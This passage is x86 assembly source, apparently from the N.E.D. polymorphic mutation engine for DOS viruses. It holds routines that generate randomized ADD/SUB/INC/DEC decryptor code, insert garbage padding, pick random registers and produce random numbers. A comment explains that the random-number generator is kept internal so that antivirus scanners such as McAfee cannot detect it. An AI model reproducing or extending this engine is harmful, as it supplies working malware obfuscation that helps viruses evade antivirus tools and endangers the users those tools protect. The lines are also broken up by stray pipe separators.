jne use_inc_dec ; If not, only use INC/DECs
|
|
mov ax,3 ; Select a random number
|
|
call rand_num ; between 0 and 2
|
|
or ax,ax ; Does AX = 0?
|
|
je use_add_sub ; If so, use ADD or SUB
|
|
use_inc_dec: mov al,byte ptr [word_adj_table + bx] ; Table look-up
|
|
add al,040h ; It's an INC...
|
|
or dx,dx ; Are we adding?
|
|
je store_it0 ; If so, store it
|
|
add al,08h ; Otherwise create a DEC
|
|
store_it0: stosb ; Store the byte
|
|
dec cx ; Subtract one fromt total count
|
|
jmp short cxz_check ; Finish off the loop
|
|
use_add_sub: mov ax,2 ; Select a random number
|
|
call rand_num ; between 0 and 1
|
|
shl ax,1 ; Now it's either 0 or 2
|
|
mov bp,ax ; Save the value for later
|
|
add al,081h ; We're going to be stupid
|
|
stosb ; and use an ADD or SUB instead
|
|
mov al,byte ptr [word_adj_table + bx] ; Table look-up
|
|
add al,0C0h ; It's an ADD...
|
|
or dx,dx ; Are we adding?
|
|
je store_it1 ; If so, store it
|
|
add al,028h ; Otherwise create a SUB
|
|
store_it1: stosb ; Store the byte
|
|
mov ax,cx ; Select a random number
|
|
call rand_num ; between 0 and (CX - 1)
|
|
inc ax ; Ok, add back one
|
|
or bp,bp ; Does BP = 0?
|
|
je long_form ; If so, it's the long way
|
|
stosb ; Store the byte
|
|
jmp short sub_from_cx ; Adjust the count now...
|
|
long_form: stosw ; Store the whole word
|
|
sub_from_cx: sub cx,ax ; Adjust total count by AX
|
|
cxz_check: or cx,cx ; Are we done yet?
|
|
jne add_sub_loop ; If not, repeat until we are
|
|
exit_g_a_s: ret ; Return to caller
|
|
gen_add_sub endp
|
|
|
|
|
|
;******************************************************************************
|
|
; random_fill
|
|
;
|
|
; Pads out the decryption with random garbage; this is only enabled if
|
|
; bit 3 of the options byte is set.
|
|
;
|
|
; Arguments: SI = offset of ned_start
|
|
; DI = offset of storage buffer
|
|
;
|
|
; Returns: None
|
|
;******************************************************************************
|
|
|
|
random_fill proc near
|
|
test word ptr [options],01000b ; Are we allowing this?
|
|
jne exit_r_f ; If not, don't add garbage
|
|
mov ax,2 ; Select a random number
|
|
call rand_num ; between 0 and 1
|
|
xchg cx,ax ; Wow! A shortcut to save
|
|
jcxz exit_r_f ; a byte! If AX = 0, exit
|
|
mov ax,101 ; Select a random number
|
|
call rand_num ; between 0 and 100
|
|
xchg cx,ax ; Transfer to CX for LOOP
|
|
jcxz exit_r_f ; If CX = 0 then exit now...
|
|
mov al,0EBh ; We'll be doing a short
|
|
stosb ; jump over the code...
|
|
mov ax,cx ; Let's get that value back
|
|
stosb ; We'll skip that many bytes
|
|
garbage_loop: mov ax,0FFFFh ; Select a random number
|
|
call rand_num ; between 0 and 65534
|
|
stosb ; Store a random byte
|
|
loop garbage_loop ; while (--_CX == 0);
|
|
exit_r_f: ret ; Return to caller
|
|
random_fill endp
|
|
|
|
|
|
;******************************************************************************
|
|
; random_reg
|
|
;
|
|
; Returns the number of a random register. If CX = 1, a byte register is
|
|
; used; if CX = 0, a word register is selected.
|
|
;
|
|
; Arguments: CX = 0 for word, 1 for byte
|
|
; SI = offset of ned_start
|
|
; DI = offset of storage buffer
|
|
;
|
|
; Returns: AX = register number
|
|
; BX = register's offset in cross-off table (used_it)
|
|
;******************************************************************************
|
|
|
|
random_reg proc near
|
|
get_rand_reg: mov ax,cx ; Select a random number
|
|
add ax,7 ; between 0 and 6 for words
|
|
call rand_num ; or 0 and 7 for bytes
|
|
mov bx,ax ; Place in BX for indexing
|
|
shr bx,cl ; Divide by two for bytes only
|
|
cmp byte ptr [used_it + bx],0 ; Register conflict?
|
|
jne get_rand_reg ; If so, try again
|
|
ret ; Return to caller
|
|
random_reg endp
|
|
|
|
|
|
;******************************************************************************
|
|
; rand_num
|
|
;
|
|
; Random number generation procedure for the N.E.D. This procedure can
|
|
; be safely changed without affecting the rest of the module, with the
|
|
; following restrictions: all registers that are changed must be preserved
|
|
; (except, of course, AX), and AX must return a random number between
|
|
; 0 and (BX - 1). This routine was kept internal to avoid the mistake
|
|
; that MtE made, that is using a separate .OBJ file for the RNG. (When
|
|
; a separate file is used, the RNG's location isn't neccessarily known,
|
|
; and therefore the engine can't encrypt it. McAfee, etc. scan for
|
|
; the random-number generator.)
|
|
;
|
|
; Arguments: BX = maximum random number + 1
|
|
;
|
|
; Returns: AX = psuedo-random number between 0 and (BX - 1)
|
|
;******************************************************************************
|
|
|
|
rand_num proc near
|
|
push dx ; Save DX
|
|
push cx ; Save CX
|
|
|
|
push ax ; Save AX
|
|
|
|
rol word ptr [rand_val],1 ; Adjust seed for "randomness"
|
|
add word ptr [rand_val],0754Eh ; Adjust it again
|
|
|
|
xor ah,ah ; BIOS get timer function
|
|
int 01Ah
|
|
|
|
xor word ptr [rand_val],dx ; XOR seed by BIOS timer
|
|
xor dx,dx ; Clear DX for division...
|
|
|
|
mov ax,word ptr [rand_val] ; Return number in AX
|
|
pop cx ; CX holds max value
|
|
div cx ; DX = AX % max_val
|
|
xchg dx,ax ; AX holds final value
|
|
|
|
pop cx ; Restore CX
|
|
pop dx ; Restore DX
|
|
ret ; Return to caller
|
|
|
|
_rand_val dw 0 ; Seed for generator
|
|
rand_num endp
|
|
|
|
ned_end label near ; The end of the N.E.D.
|
|
|
|
end |